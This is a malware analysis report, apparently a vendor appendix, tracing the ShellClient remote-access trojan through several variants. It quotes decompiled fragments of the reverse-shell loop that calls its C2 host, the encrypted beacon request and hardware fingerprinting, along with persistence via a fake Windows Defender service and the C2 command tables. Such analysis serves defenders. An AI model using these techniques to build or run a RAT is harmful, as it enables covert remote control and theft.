# 🐼 cybereason

# Appendix A: Analysis of ShellClient's Evolution

# Analysis of the Earliest Variant

The earliest version that was observed was compiled on November 06, 2018, and disguised itself as "svchost.exe", with the "Windows Defender Service" description:

CompanyName	Microsoft Corporation
FileDescription	Windows Defender Service
FileVersion	1.0.0.0
InternalName	svchost.exe

The variant demonstrates a very limited number of features, solely to execute a reverse shell. To support that, it contains an implementation of a web socket module, taken from the open source project <u>websocket-sharp</u>:

▶ {}	Shell
▶ {}	WebSocketSharp
▶ {}	WebSocketSharp.Net
▶ {}	WebSocketSharp.Net.WebSockets
▶ {}	WebSocketSharp.Server

### Execution

Upon execution, a reverse shell is created using a web socket connection to a hardcoded "azure.ms-tech[.]us" C2 server on port 80:



In order to communicate, the client uses the "azure.ms-tech[.]us/orders" URI, and once the connection was initiated, it waits for further instructions to be executed on a cmd or PowerShell shell:



private {	static void Main(string[] args)
try	
	<pre>Program.ShowWindow(Program.GetConsoleWindow(), 0); Programws = new WebSocket(string.Format("ws://{0}:{1}/orders", ProgramserverIP, ProgramserverPort), new string[0]); Programws.OnMessage += Program.Ws_OnMessage; for (;;) </pre>
	<pre>if (Programws.IsAlive) {     if (!ProgramshellStarted)     {         Program.ShellStart(Program.ShellType.cmd);     }     else if (!Programws.IsAlive)     {         Programws.Connect();     }     catch (Exception)     { }</pre>
}	

Tracing the C2 address, we could see that it was first created on May 23, 2018, approximately six months before this variant was compiled:

Whois Field	Value
Creation Date	Wed, 23 May 2018 15:02:52 GMT
Domain ID	D06801838D44342F38AEAC7BCFOCACEE4-NSR
Domain Name	ms-tech.us
Expiration Date	Thu, 23 May 2019 15:02:52 GMT
Name Server	ns3fhx.name.com
Name Server	ns4hny.name.com
Registrant Purpose	P3
registrant_city	redwood
registrant_country	US
registrant_email	ms.ms@mail.com
Registrant ID	C94FE7D49EF5E4DD7BE03C8EE5904B763-NSR
registrant_name	Carlos Cooper

Associated Artifacts for azure.ms-tech.us

To conclude, we can see a very initial implementation of a malicious RAT, with a limited set of capabilities.

# Analysis of Variant V1

This variant, which was compiled on November 29, 2018, approximately 3 weeks after the earliest variant, tries to disguise itself using the same "svchost.exe" name, with a different "Host Process for Windows Services" description:



FileDescription	Host Process for Windows Services
FileVersion	10.0.17134.1
InternalName	svchost.exe
LegalCopyright	© Microsoft Corporation. All rights reserved.

This variant is more mature than the earliest version, and holds capabilities of both of the RAT's ends - Client and Server:

4	{} Sh	ellClientServer_HTTP
	D 🔩	Client @02000002
	D 🔩	ClientModel @02000003
	D 🔩	Program @02000004
	D 🔩	Server @02000006
	🕨 🔩	StringExtensions @02000007
	🕨 🔩	WebServer @02000008
	D 🔩	WindowsDefenderUpdate @02000009
	Þ 🔩	WindowsDefenderUpdateInstaller @02000005

## Execution

The variant executes according to provided arguments:

- If **no arguments** are provided, the variant executes itself using "InstallUtil.exe" to install a malicious "windefupd" service, pretending to be a Windows Defender Update service, and starts it.
- If there is **one argument and it equals "-c"**, the variant's client will execute to create the reverse shell. This argument is meant to be triggered from the service.
- If there is more than one argument, and the first argument equals to "-I", the server starts its execution by listening, sending commands to clients and receiving data from them.

## Persistence

The mentioned service is a new persistence capability this variant introduces by creating a new "windefupd" service, with the following properties:

- Service Name WinDefUpd
- **Display Name** WIndows Defender Update
- **Description** Windows Defender Firewall helps protect your computer by preventing unauthorized users from gaining access to your computer through the Internet or a network.
- Start Type Automatic



• Account - LocalSystem

As we can tell, this service tries to disguise itself as a "Windows Defender Update" service with appropriate description, and by executing as LocalSystem, it manages to perform a Privilege Escalation.

Windows	Defende	r Update Properties (Local Computer)	×			
General	Log On	Recovery Dependencies				
Service	name:	WinDefUpd				
Display	name:	Windows Defender Update				
Description: Windows Defender Firewall helps protect your						
	computer by preventing unauthorized users from					
	executabl	••				
C:\Use	ers (Maiwa	re\Desktop\variants\third_variant" -c	_			
Startup type: Automatic ~						

### Communication

This operation adds a first layer of operation-security, by sending client communications using Base64 encoding:



The client communicates with the server using GET parameters, appended to the the same url that was used in the previous variant - "azure.ms-tech[.]us/order/", as can be seen in the following table:

GET Parameter	Description						
id	Random 8 characters client ID						
output	Output data						
error	Error data						



info	Shell status related data
------	---------------------------

### Supported Commands

Another interesting new feature in this variant which we mentioned briefly before is the "Server" class. As this class is meant to manage the server side in the communication, it is presents the attacker the following available commands (typos are present in the original code):

Command	Description
usage	Shows this menu.
cmd	Starts a reverce cmd on remote client.
exit	Stops a reverce shell on remote client.
kill	Kills shell on remote client and removes exe.
list	Lists connected remote clients.
persist	Adds shell to system services to start automatically.
powershell	Starts a reverce powershell on remote client.
power shell	Starts a reverce powershell on remote client.
quit	Stops a reverce shell on remote client
refresh	Clears client list and waits for connections.
select	Sets remote client to accept commands.
shell	Starts a reverce powershell on remote client.

**Note:** It is noteworthy to mention that the various typos and grammatical mistakes found in the original code (such as "reverce" instead of reverse), can indicate that the author of the malware is not a native English speaker.



Reverse Shell (HTTP Base	ed Shell)
usage	Shows this menu.
cmd	Starts a reverce cmd on remote client.
exit	Stops a reverce shell on remote client.
kill	Kills shell on remote client and removes exe.
list	Lists connected remote clients.
persist	Adds shell to system services to start automatically.
powershell	Starts a reverce powershell on remote client.
power shell	Starts a reverce powershell on remote client.
quit	Stops a reverce shell on remote client.
refresh	Clears client list and waits for connections.
select	Sets remote client to accept commands.
shell	Starts a reverce powershell on remote client.


The C2 command list for communication with the victim

# Analysis of Variant V2.1

This variant, which was compiled on December 16, 2018, approximately 2 weeks after variant 1, keeps the same name and description attributes, but shows further progress in the malware development by adding a variety of new capabilities.

#### Communication

This variant exhibits two new communication channels: FTP and Telnet.



New variant communication channels

The FTP module supports connection using FTP and the following operations:

- File deletion
- File download
- File upload
- Directory listing

The Telnet module supports a Telnet connection in a straightforward manner - type a command and get an output.



Regarding the C2 address, it has changed slightly to be "ms-tech[.]us", and the communication is now more secured, using an AES encryption, before encoding the result as before, with Base64.

```
string requestUriString = string.Empty;
if (responseType != Client.ResponseType.None)
{
    requestUriString = string.Format("{0}orders?id={1}&ver={2}&{3}={4}", new object[]
    {
        Client._url,
        Client._clientID.ToBase64(Encoding.UTF8),
        Program.Ver.ToBase64(Encoding.UTF8),
        responseType.ToString(),
        Crypto.Encrypt_AES(message).ToBase64(Encoding.UTF8)
});
```

Data formatted, encrypted and encoded before being sent

00009B60	00 00	5F	43 <del>6</del>	5F 72	45	78	65	4D	61	69	6E	00	6D	73	CorExeMain.ms
00009B70	63 6F	72	65 6	55 2E	64	6C	6C	00	00	00	00	00	FF	25	coree.dllÿ%
00009B80	00 20	40	00 7	7A 56	FB	DF	37	23	93	Α7	D7	47	6F	D2	. @.zVûß7#``§×GoÒ
00009B90	1C A1	9A	37 9	9E 62	40	49	FO	1A	A2	2B	5F	47	В4	7D	.; <b>š7</b> žb@Ið.¢+_G´}
00009BA0	2D E1	72	54_6	5B F6	40	27	0E	AD	71	20	99	65	D4	2D	-árTkö@'q ™eÔ-
00009BB0	F2 2E	EA	43 0	00 00	00	00	00	00	00	00	00	00	00	00	ò.êC
00009BC0	00 00	00	00 0	00 00	00	00	00	00	00	00	00	00	00	00	
00009BD0	00 00	00	00 0	00 00	00	00	00	00	00	00	00	00	00	00	
					Е	mbe	edde	ed A	ES	key	,				_
00009B70	<b>63</b> 6E	72	65 (	65 2E	64	6C	6C	00	00	00	00	00	FF	25	coree.dllÿ%
00009B80	00 20	40	00	7A 56	FB	DF	37	23	93	A7	D7	47	6F	D2	. @.zVûß7#``§×GoÒ
00009B90	1C A1	9A	37 9	9E 62	40	49	F0	1A	A2	2B	5F	47	В4	7D	.;š7žb@Ið.¢+_G´}

00009BB0 F2 2E EA 43 00 00 00 00 00 00 00 00 00 00 00 00 ô.êC..... Initial Vector (IV)

00009BA0 2D E1 72 54 6B F6 40 27 0E AD 71 20 99 65 D4 2D -árTkö@'..q "eÔ-

#### **General Upgrades**

In addition to the previously mentioned enhancements, the variant also incorporates the following upgrades:

- **Update capabilities** Now they are able to replace the malicious binary with a new version, downloaded from the C2. This ability is available using the "update" command.
- ClientID To ease client distinction, the threat actors added to the random generating Client ID distincting the client also the computer name, so the new client ID is composed of "< 8 Random Chars >\_< Computer Name >".
- **Versioning** One further step in the maturity process, the operation now supports program versioning, which is appended to every data sent. To get the client version, the threat actors added the "ver" command to the server functionalities.



# Supported Commands

command	Description		
shellclient.exe	Starts Shell In Client Mode Connecting To Built-in IP:Port		
shellclient.exe -c IP Port	Starts Shell In Client Mode Connecting To Built-in IP:Port		
shellclient.exe -l IP Port	Starts Shell In Server Mode Listening To IP:Port		
cmd	Starts a reverce "cmd.exe" on remote client.		
exec	Starts any console program on remote client.		
exit	Stops reverce shell on remote client.		
ftp	Starts Ftp client and tries to connect to given host.		
kill	Kills shell on remote client and removes exe.		
list	Lists connected remote clients.		
powershell	Starts a reverce "powershell.exe" on remote client.		
quit	Stops a reverce shell on remote client.		
refresh	Refreshs client list and waits for connections.		
select	Selects remote client to send commands.		
telnet	Starts Telnet client and tries to connect to given host.		
update	Updates remote client application.		
usage	Displays this menu.		
ver	Displays server & selected client version.		

This variant had updated a bit its command configuration, following the upgraded capabilities it displayed:

Command	Description
(empty)	Starts Shell In Client Mode Connecting To Built-in IP:Port
-c IP PORT	Starts Shell In Client Mode Connecting To Built-in IP:Port
-I IP PORT	Starts Shell In Server Mode Listening To IP:Port
cmd	Starts a reverce \"cmd.exe\" on remote client.
exec	Starts any console program on remote client.
exit	Stops reverce shell on remote client.
ftp	Starts Ftp client and tries to connect to given host.
kill	Kills shell on remote client and removes exe.
list	Lists connected remote clients.
powershell	Starts a reverce \"powershell.exe\" on remote client.



quit	Stops a reverce shell on remote client.
refresh	Refreshs client list and waits for connections.
select	Selects remote client to send commands.
telnet	Starts Telnet client and tries to connect to given host.
update	Updates remote client application.
usage	Displays this menu.
ver	Displays server & selected client version.

# Analysis of Variant V3.1

Variant 3.1 was compiled on January 12, 2019, about a month after the previous discussed variant. It has mostly minor changes in regards to functionality.

## Execution

The major difference in variant 3.1 is the removal of the "Server" class from the ShellClient executable. Thai is done to split the functionality of the malware from just one executable, probably to prevent investigators from getting their hands on the server side code if the malware is discovered.

The variant executes according to provided arguments:

- If **no arguments** are provided, the variant executes itself using "InstallUtil.exe" to install a malicious "windefupd" service, pretending to be a Windows Defender Update service, and starts it.
- If there is **one argument and it equals "-c"**, the variant's client will execute to create the reverse shell. This argument is meant to be triggered from the service.
- If in addition to the "-c" argument an IP address and a port are given, ShellClient v3.1 will start a reverse shell to the given address and will not run as a service.

## Communication

As all the variants before, ShellClient 3.1 uses a the hard coded domain "azure.ms-tech[.]us" When contacting the C2, ShellClient 3.1 uses the following URI structure:

[domain]order?id=[AES encrypted and base64 obfuscated string]



The AES encrypted and base64 obfuscated string contains the following data:

- Collected hardware information
- ClientID (In this variant the random 8 chars string is removed, only the machine name is used)
- ShellClient version
- c2 command code

In this variant the ability to start Telnet and FTP clients is still available.

#### **General Upgrades**

- **Code Obfuscation** The authors started with small steps of code obfuscation, renaming the command names to a "code + number" structure.
- **Updated capabilities** the authors added the option to create a zip archive, in addition a "FingerPrint" class was added to collect Hardware information of the infected machine using WMI in order to send to the C2.

```
private static string CpuID()
    string text = FingerPrint.Identifier("Win32_Processor", "UniqueId");
    if (text == "")
         text = FingerPrint.Identifier("Win32_Processor", "ProcessorId");
         if (text == "")
              text = FingerPrint.Identifier("Win32_Processor", "Name");
             if (text == "")
                  text = FingerPrint.Identifier("Win32_Processor", "Manufacturer");
              text += FingerPrint.Identifier("Win32 Processor", "MaxClockSpeed");
    return text;
private static string BiosID()
    return string.Concat(new string[]
         FingerPrint.Identifier("Win32_BIOS", "Manufacturer"),
FingerPrint.Identifier("Win32_BIOS", "SMBIOSBIOSVersion"),
FingerPrint.Identifier("Win32_BIOS", "IdentificationCode"),
         FingerPrint.Identifier("Win32_BIOS", "SerialNumber"),
         FingerPrint.Identifier("Win32_BIOS", "ReleaseDate"),
         FingerPrint.Identifier("Win32 BIOS", "Version")
    });
```

## Supported Commands

ShellClient 3.1 is able to execute the following commands:



Command	Description
code10	Query the ShellClient executable path
code11	Execute an updated version of ShellClient
code12	Self delete using InstallUtil.exe
code20	Start a cmd shell
code21	Start a powershell shell
code22	Execute Binaries
code23	Open a TCP Client
code24	Start a FTP client
code25	Start a Telnet client
code29	Kill active cmd or powershell shell
code31	Query files and directories
code32	Create a Directory
code33	Delete files and folders
code34	Download a file to the infected machine
code35	Upload a file to the C2
code36	Create a Zip archive